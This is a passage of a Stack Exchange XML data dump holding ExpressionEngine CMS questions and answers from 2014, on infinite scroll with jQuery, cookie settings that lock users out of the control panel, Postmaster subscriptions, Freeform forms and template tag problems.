nextSelector : &quot;a.more&quot;,&#xA;                  itemSelector : &quot;.entry&quot;,&#xA;                  contentSelector: &quot;#blog-container&quot;,&#xA;                  extractLink: true // This is crucial if you want it work properly. Setting this to false or excluding it will not allow the script to work with EE&#xA;             })&#xA;&#xA;        });&#xA;&#xA;&#xA;        // Unbind normal behavior&#xA;        $(window).unbind('.infscr');&#xA;&#xA;        // Bind normal behavior to the click function and prevent the browser from redirecting to the URL.&#xA;        $('a#next').click(function(){&#xA;            $(document).trigger('retrieve.infscr');&#xA;            return false;&#xA;         });&#xA;&#xA;    &amp;lt;/script&amp;gt; &#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2865" LastActivityDate="2018-10-11T21:10:50.743" Title="Infinite scroll and pagination on ee?? Anyone has this working?" Tags="|pagination|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20444" PostTypeId="2" ParentId="20419" CreationDate="2014-03-19T11:20:59.720" Score="1" Body="&lt;p&gt;You can wrap the whole {formati_prodotti} tag pair in this conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{formati_prodotti:total_rows search:enable_shop_lnk=&quot;1&quot;}'}&#xA;    {formati_prodotti}&#xA;        ...&#xA;    {/formati_prodotti}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://docs.pixelandtonic.com/matrix/templating/field.html#total-rows&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/matrix/templating/field.html#total-rows&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2014-03-19T11:20:59.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20445" PostTypeId="2" ParentId="20443" CreationDate="2014-03-19T12:09:45.957" Score="7" Body="&lt;p&gt;No reason why you can't get an infinite scroll working in EE.  Though really you don't need all the overhead of the infinite scroll plug-in, which forces its particular requirements on you as well. A small bit of jQuery can do this just as well.  You just need to add one additional wrapper to your markup so that you can target the content you want to load via Ajax, and be able to append it to your parent container.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So keep all of your HTML markup the same, but just add one more &lt;code&gt;div&lt;/code&gt; of inside of your content container.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you have &lt;code&gt;paginate_base=&quot;embed/ajax_scroll&quot;&lt;/code&gt; - remove that, just let the pagination links point to the same page you're on. This way they'll work even if javascript is disabled.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;col&quot; id=&quot;blog-container&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;ajax-wrapper&quot;&amp;gt;&#xA;&#xA;    ... all of your markup, without the javascript ...&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, load this javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(document).ready(function()&#xA;    {&#xA;        $('.morePosts').on('click', 'a', function(e)&#xA;        {&#xA;            // Don't follow the link&#xA;            e.preventDefault();&#xA;&#xA;            // Create a loading message and add it in place of the link&#xA;            loadingMessage = $('&amp;lt;p class=&quot;loading&quot;&amp;gt;Loading...&amp;lt;/p&amp;gt;');&#xA;            $('.morePosts').replaceWith(loadingMessage);&#xA;&#xA;            // Fetch the next page&#xA;            $.get($(this).attr('href'), function(data)&#xA;            {                                           &#xA;                // Only grab the part of the page we want&#xA;                content = $(data).find('.ajax-wrapper').hide();&#xA;&#xA;                // Add it to the DOM&#xA;                $(content).appendTo('#blog-container');&#xA;&#xA;                // Remove loading indicator &#xA;                $('.loading').fadeOut('fast').remove();&#xA;&#xA;                // Fade-in our new content&#xA;                $(content).fadeIn('fast');&#xA;            });&#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-03-19T12:09:45.957" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20446" PostTypeId="1" AcceptedAnswerId="20487" CreationDate="2014-03-19T12:54:08.397" Score="0" ViewCount="845" Body="&lt;p&gt;Besides database issues what causes this?????&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not upgraded or moved the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set the permissions, checked my config.php file and so forth. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other solutions? &lt;/p&gt;&#xA;" OwnerUserId="2865" LastActivityDate="2014-03-20T06:39:26.547" Title="An Error Was Encountered Site Error: Unable to Load Site Preferences; No Preferences Found" Tags="|error|ee|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20447" PostTypeId="1" AcceptedAnswerId="20456" CreationDate="2014-03-19T13:31:52.490" Score="1" ViewCount="94" Body="&lt;p&gt;I have a template that is called when a user wants to subscribe to the newsletter. It is formatted like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:postmaster:campaign:subscribe&#xA;    service=&quot;MailChimp&quot;&#xA;    api_key=&quot;XXXXX&quot;&#xA;    list=&quot;XXXXX&quot;&#xA;    email=&quot;{email}&quot;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However the email part doesn't seem to load. How can you make it subscribe using the current member's email address?&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2015-06-24T02:24:27.913" Title="Subscribing the current member via Postmaster" Tags="|postmaster|mailchimp|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20448" PostTypeId="2" ParentId="20074" CreationDate="2014-03-19T13:59:36.633" Score="1" Body="&lt;p&gt;This was an issue with accepting tokens with a test gateway.&#xA;This has now been resolved.&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2014-03-19T13:59:36.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20449" PostTypeId="1" CreationDate="2014-03-19T14:05:18.413" Score="1" ViewCount="467" Body="&lt;p&gt;Working with CartThrob and SagePay on a site and get the following error at checkout (after submitting card details):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;HTTP Status Code:  500&#xA;  HTTP Status Message:   The request was unsuccessful due to an unexpected condition encountered by the server.&#xA;  Error Code :   5006&#xA;  Error Description :    Unable to redirect to Vendor's web site. The Vendor failed to provide a RedirectionURL.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Have set up a Valid IP with SagePay. Note this is for dealing with token payments (in recurring subscriptions) and is checking against a test gateway.&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2014-11-25T15:16:44.193" Title="CartThrob Sage Pay error" Tags="|cartthrob|sagepay|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20450" PostTypeId="1" AcceptedAnswerId="20589" CreationDate="2014-03-19T14:18:30.497" Score="0" ViewCount="97" Body="&lt;p&gt;( v2.7.3 )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi, I'm using the Simple Registration addon and allowing the form to use the email address as user and screen name. However, if an email address is not valid it triggers an error for both user and screen name as well as email, which is confusing for the user. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;·        The username you chose is not available&lt;br /&gt;&#xA;  ·        The screen name you chose is not available&lt;br /&gt;&#xA;  ·        The email you chose is not available&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there a way to change this?&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2014-03-24T11:08:06.477" Title="Changing error messages" Tags="|registration|error-pages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20451" PostTypeId="1" AcceptedAnswerId="20454" CreationDate="2014-03-19T15:03:51.243" Score="0" ViewCount="243" Body="&lt;p&gt;Help! I was just trying to setting the cookie domain inside the CP &gt; Admin &gt; Security and Privacy &gt; Cookie Settins&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(as explained here &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/cookie_settings.html&quot; rel=&quot;nofollow&quot;&gt;Cookie Settings&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and now I can't login to the CP admin :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can solve this big problem?&#xA;thanks&lt;/p&gt;&#xA;" OwnerUserId="2590" LastActivityDate="2014-06-16T19:26:53.177" Title="unable to access to CP after setting cookie domain" Tags="|login|admin|cookies|administration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20452" PostTypeId="1" CreationDate="2014-03-19T15:07:00.863" Score="1" ViewCount="295" Body="&lt;p&gt;I'm developing a form with Solspace Freeform Pro edition.&#xA;I didn't use the composer but coded the form myself.&#xA;I succesfully mapped a SELECT being defined as Newline Delimited in Solspace backend.&#xA;What if I want to make one of the entries the SELECTED one when rendering the template tag?&#xA;I've tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:field:country_select attr:selected=&quot;France&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with no success.&lt;/p&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2014-03-19T15:07:00.863" Title="Freeform select field - setting the default &quot;selected&quot; value" Tags="|solspace-freeform|forms|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20453" PostTypeId="2" ParentId="20446" CreationDate="2014-03-19T15:15:45.173" Score="2" Body="&lt;p&gt;The only time I've ever seen it is when the settings in database.php were incorrect or there was a problem connecting to the database. Confirm with your host that your DB is still accessible.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-03-19T15:15:45.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20454" PostTypeId="2" ParentId="20451" CreationDate="2014-03-19T15:28:19.030" Score="0" Body="&lt;p&gt;solved, i've hardcoded the config.php with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cookie_prefix'] = '';&#xA;$config['cookie_path'] = '';&#xA;$config['cookie_domain'] = '';&#xA;$config['user_session_type'] = 'c';&#xA;$config['admin_session_type'] = 's'; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using an MSM installation this solution works great but the config.php has to have these set afterwards otherwise the CP lockout continues:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cookie_domain'] = &quot;subdomain.mydomain.com&quot;;&#xA;$config['cookie_prefix'] = &quot;myprefix&quot;;&#xA;$config['admin_session_type'] = 's'; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2590" LastEditorUserId="1976" LastEditDate="2014-06-16T19:26:53.177" LastActivityDate="2014-06-16T19:26:53.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20455" PostTypeId="2" ParentId="20367" CreationDate="2014-03-19T15:40:25.527" Score="1" Body="&lt;p&gt;I use Safecracker to let members edit my Zoo Visitor Channel Profiles, I have an additional status called 'Moderate' and use it as a hidden field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;status&quot; value=&quot;Moderate&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whenever they update, viola - I know they've edited and can hide their status until moderated. (I also have a cron job that looks for the status of Moderate every morning and it emails me with each entry that requires moderation)&lt;/p&gt;&#xA;" OwnerUserId="173" LastActivityDate="2014-03-19T15:40:25.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20456" PostTypeId="2" ParentId="20447" CreationDate="2014-03-19T16:19:38.300" Score="2" Body="&lt;p&gt;The issue is the EE parse order. The email tag doesn't parsed before the tag. I just updated Postmaster to parse CURRENT_USER as the current logged in email. So this should work in the next update (1.4.7). Send an email to support@objectivehtml.com if you want a copy of the latest code before the official release.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:postmaster:campaign:subscribe &#xA;    email=&quot;CURRENT_USER&quot;&#xA;    service=&quot;Mailchimp&quot;&#xA;    api_key=&quot;XXX&quot;&#xA;    list=&quot;XXX&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastActivityDate="2014-03-19T16:19:38.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20457" PostTypeId="1" CreationDate="2014-03-19T16:37:00.480" Score="1" ViewCount="802" Body="&lt;p&gt;So I have a channel (dog) with multiple category groups assigned to it. I'm trying to build a navigation and have the following code for the DOG dropdown list:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;{exp:channel:categories channel=&quot;dog&quot; style=&quot;linear&quot; show_empty=&quot;yes&quot; category_group=&quot;6&quot;}&#xA;&lt;li&gt;{category_name}&lt;/li&gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Out of 10 categories (all have entries), only 5 show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the following code to show categories under BUNNY and all categories show up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;{exp:channel:categories channel=&quot;bunny&quot; style=&quot;linear&quot; show_empty=&quot;yes&quot; category_group=&quot;1&quot;}&#xA;&lt;li&gt;{category_name}&lt;/li&gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only difference that I have noted between the two channels is that DOG has multiple category groups assigned (6|7|8) while BUNNY only has one (1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have taken the code out of the full template, and placed it into a separate template with no other code to make sure nothing else was interfering and the results are the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help/tips/suggestions you can provide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.7.2 &lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2017-05-04T15:16:54.420" Title="exp:channel:categories not displaying all categories in a group" Tags="|categories|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20459" PostTypeId="1" AcceptedAnswerId="20535" CreationDate="2014-03-19T16:44:06.217" Score="0" ViewCount="42" Body="&lt;p&gt;Might be an odd scenario, but i'm looking to use Solspace's facebook Login with a dynamic return by using segments in the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currenttly fbc:login throws an error when I use any {segment} tags in the parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how they say to use the module:&#xA;{exp:fbc:login&#xA;    permissions=&quot;email|publish_stream|read_stream&quot;&#xA;    return_when_logged_in=&quot;site/home&quot;&#xA;    return_when_logged_out=&quot;site/home&quot;&#xA;    return_to_register=&quot;site/register&quot;&#xA;    return_on_failure=&quot;site/fail&quot;&#xA;}&#xA;{/exp:fbc:login}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what i'd like to do&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:fbc:login&#xA;    permissions=&quot;email|publish_stream|read_stream&quot;&#xA;    return_when_logged_in=&quot;{segment_2}/{segment_2}&quot;&#xA;    return_when_logged_out=&quot;s{segment_2}/{segment_2}&quot;&#xA;    return_to_register=&quot;site/register&quot;&#xA;    return_on_failure=&quot;site/fail&quot;&#xA;}&#xA;{/exp:fbc:login}&lt;/p&gt;&#xA;" OwnerUserId="2733" LastActivityDate="2014-03-21T06:13:33.853" Title="Solspace Facebook Login - Dynamic Return with {segment}" Tags="|solspace|facebook|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="20460" PostTypeId="1" CreationDate="2014-03-19T16:58:54.950" Score="1" ViewCount="68" Body="&lt;p&gt;I currently have site notifications from Expression engine using SMTP. All is working great, except the site name is not appearing in the email. It still says that its from ---@website.com instead of it saying that its from Website name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to get this work with SMTP? Is there way to go into the codeigniter email file and manually set this to work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2733" LastActivityDate="2014-03-19T16:58:54.950" Title="Webmaster or site name for auto-generated emails with SMTP" Tags="|email|smtp|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20461" PostTypeId="1" CreationDate="2014-03-19T17:47:37.043" Score="1" ViewCount="184" Body="&lt;p&gt;I am trying to store items selected from a list of checkbox shown in the template, into a textarea custom field(item), but like this seems not working, and I am getting this error:Error Number: 1054&#xA;Unknown column 'Array' in 'field list'&lt;br&gt;&#xA;Any idea if I can achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:form channel=&quot;my_channel&quot; entry_id=&quot;{segment_3}&quot; limit=&quot;1&quot; preserve_checkboxes=&quot;yes&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;scroll&quot; style=&quot;overflow-y:scroll; height: 80px;border:1px solid #ccc;&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;item[]&quot; value=&quot;item1&quot;{checked} /&amp;gt;item1&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;item[]&quot; value=&quot;item2&quot;{checked} /&amp;gt;item2 &amp;lt;br /&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;item[]&quot; value=&quot;item3&quot;{checked} /&amp;gt;item3 &amp;lt;br /&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;item[]&quot; value=&quot;item4&quot;{checked} /&amp;gt;item4 &amp;lt;br /&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;item[]&quot; value=&quot;item5&quot;{checked} /&amp;gt;item5&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:form} &lt;/p&gt;&#xA;" OwnerUserId="2665" LastActivityDate="2014-03-19T17:47:37.043" Title="Store checkbox selected into a textarea" Tags="|channel-form|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20462" PostTypeId="1" CreationDate="2014-03-19T18:01:55.340" Score="2" ViewCount="240" Body="&lt;p&gt;Is there a way to import to Freeform Forms?  I wanted to create a form with pre-filled information, and users can login and use freeform edit their existing entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and I appreciate your feedback.&lt;/p&gt;&#xA;" OwnerUserId="2866" LastActivityDate="2015-10-31T08:56:27.667" Title="Is there a way to import to a Freeform Form?" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20463" PostTypeId="1" AcceptedAnswerId="20620" CreationDate="2014-03-19T18:52:29.007" Score="0" ViewCount="154" Body="&lt;p&gt;I have a snippet which displays all entries within a channel and I want to have displayed entries only from a particular tag, but I'm not able to display tagged entries. Then I have decided to display all tagged entries without limitation (code below) but this is not working either.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; limit=&quot;8&quot; status=&quot;open&quot; paginate=&quot;bottom&quot; dynamic=&quot;no&quot;}&#xA;{exp:tag:related_entries}&#xA;    {if switchee_no_results}&#xA;            &amp;lt;div class=&quot;no-entries&quot;&amp;gt;&amp;lt;p&amp;gt;No entries yet.&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;&#xA;        &amp;lt;div class=&quot;col-md-3 col-sm-6 category-item&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;{site_url}{segment_1}/{segment_2}/{url_title}&quot;&amp;gt;&#xA;    {product_image limit=&quot;1&quot;}&#xA;            &amp;lt;img src=&quot;{product_image:image}&quot; alt=&quot;{product_image:title}&quot; class=&quot;img-responsive&quot;&amp;gt;&#xA;    {/product_image}    &#xA;            &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;{switch='|||&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;row row-category&quot;&amp;gt;'}&#xA;&#xA;    {paginate}&#xA;    {exp:stash:set}&#xA;&#xA;      {stash:pagination_links}{pagination_links}{/stash:pagination_links}&#xA;&#xA;    {/exp:stash:set}&#xA;    {/paginate}&#xA;&#xA;{/exp:tag:related_entries}     &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even switching code to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:related_entries channel=&quot;products&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; limit=&quot;8&quot; paginate=&quot;bottom&quot;}&#xA;&amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;{tag_paginate}&#xA;    &amp;lt;p&amp;gt;Page {tag_current_page} of {tag_total_pages}. {tag_pagination_links}&amp;lt;/p&amp;gt;&#xA;{/tag_paginate}&#xA;{/exp:tag:related_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;doesn't do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another simple test - template below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   1. &#xA;        {exp:tag:entries tag=&quot;test&quot;}&#xA;    2.&#xA;        {if switchee_no_results}&#xA;            &amp;lt;div class=&quot;no-entries&quot;&amp;gt;&amp;lt;p&amp;gt;No entries yet.&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;            {/if}&#xA;&#xA;        &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;    3. &#xA;    {/exp:tag:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is displaying only 1. for me, so it looks like &lt;code&gt;tag&lt;/code&gt; tag is not working withing templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue why is not working? I'm running EE 2.7.3 and Tag 4.2.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-03-21T11:58:31.090" LastActivityDate="2014-03-25T04:27:15.817" Title="Solspace Tag - display entries from particular tag" Tags="|solspace|tags|solspace-tag|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20464" PostTypeId="1" CreationDate="2014-03-19T19:19:18.123" Score="2" ViewCount="216" Body="&lt;p&gt;We enabled spell checking in Wygwam and the 3rd party service (webspellchecker.net) doesn't even seem to understand simple things like contractions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if the word &quot;aren't&quot; is present it flags &quot;aren&quot; as a misspelled word :-/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is - are there any other ways to spell check in Wygwam without hacking it?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2015-02-07T05:47:00.893" Title="Is there an alternative to webspellchecker.net in Wygwam?" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20465" PostTypeId="2" ParentId="20437" CreationDate="2014-03-19T19:53:42.827" Score="1" Body="&lt;p&gt;I fixed it by setting the User Session Type to Cookies only.&lt;/p&gt;&#xA;" OwnerUserId="327" LastActivityDate="2014-03-19T19:53:42.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20466" PostTypeId="1" AcceptedAnswerId="20500" CreationDate="2014-03-19T19:56:15.250" Score="0" ViewCount="58" Body="&lt;p&gt;I am using the BrilliantRetail e-commerce extension with ExpressionEngine and there is an option to serve up the checkout page using the HTTPS protocol. This is working correctly, however, my HTTPS pages do not show the proper layout because the CSS files are not being served through HTTPS. If I use the inspect window to edit the HTML and change the CSS paths to HTTPS it works fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how I can resolve this issue? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2257" LastActivityDate="2014-03-20T14:23:25.793" Title="HTTPS BrilliantRetail checkout page not loading stylesheets" Tags="|checkout|secure|brilliantretail|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20468" PostTypeId="1" AcceptedAnswerId="20485" CreationDate="2014-03-19T20:13:11.037" Score="1" ViewCount="107" Body="&lt;p&gt;I'm trying to decide if Freeform (or Freeform Pro) is a good fit for what I need to do and wondering a couple things about forms I can set up for member us.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For front end edits, can users edit entries that have been approved or can they only view pending? I want to set it up so they can edit entries that have been rejected or are still pending but not once they have been published.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also can you allow users to edit an existing entry but as pending? Such as submitting edits or extra information on an entry and if approved, that information appears on that particular entry. If allowed is this a feature on free, pro or both?&lt;/p&gt;&#xA;" OwnerUserId="2867" LastActivityDate="2014-03-20T21:39:15.640" Title="User Edit Permissions in Freeform" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20469" PostTypeId="2" ParentId="20457" CreationDate="2014-03-19T20:25:00.610" Score="1" Body="&lt;p&gt;There are other parameters that effect whether a category has entries and therefore should be shown.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;show_expired&lt;/li&gt;&#xA;&lt;li&gt;show_future_entries&lt;/li&gt;&#xA;&lt;li&gt;status&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/categories.html#status&quot; rel=&quot;nofollow&quot;&gt;From the docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could one of those be the problem?&lt;/p&gt;&#xA;" OwnerUserId="1186" LastActivityDate="2014-03-19T20:25:00.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20470" PostTypeId="1" CreationDate="2014-03-19T20:31:08.577" Score="0" ViewCount="72" Body="&lt;p&gt;Is there a way to use the built-in tags available from structure or EE to list parents and their children accordingly? Essentially, something akin to the logic:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:entries channel=&quot;channel_name&quot;}&#xA;    {if structure:child_ids_for:{entry_id} != &quot;&quot;}&#xA;        {!-- List all children to this parent --}&#xA;    {/if}&#xA;{/exp:structure:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also we need to account for third-level URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Effectively, the output we're looking for is something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parent 1&#xA;|--Child 1&#xA;|----Sub Child 1&#xA;|----Sub Child 2&#xA;|--Child 2&#xA;Parent 2&#xA;Parent 3&#xA;|--Child 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And so forth. Using the &lt;code&gt;saef_select&lt;/code&gt; drop-down isn't an option.&lt;/p&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="1931" LastEditDate="2014-03-19T20:43:42.487" LastActivityDate="2014-04-19T16:51:19.233" Title="Structure Navigation Tree" Tags="|structure|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20471" PostTypeId="1" CreationDate="2014-03-19T21:27:33.463" Score="1" ViewCount="90" Body="&lt;p&gt;Upgraded EE to 2.7.3 and installed FreeForm Pro 4.1.3. When creating a new field, I can't add the field to any forms. The javascript doesn't fire because the javascript isn't included in the file. The JS file edit_field_cp.min is actually commented out in mpc.freeform.php on line 990 and 3212. If I uncomment (therefore gets added), it throws JS errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a problem for anyone else? Insight? Thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updated: added screenshot:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/T6FeP.png&quot; alt=&quot;New Field form&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2869" LastEditorUserId="2869" LastEditDate="2014-03-20T15:20:44.360" LastActivityDate="2014-03-20T18:19:06.800" Title="FreeForm Pro 4.1.3 / EE 2.7.3 javascript issue" Tags="|solspace-freeform|solspace|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
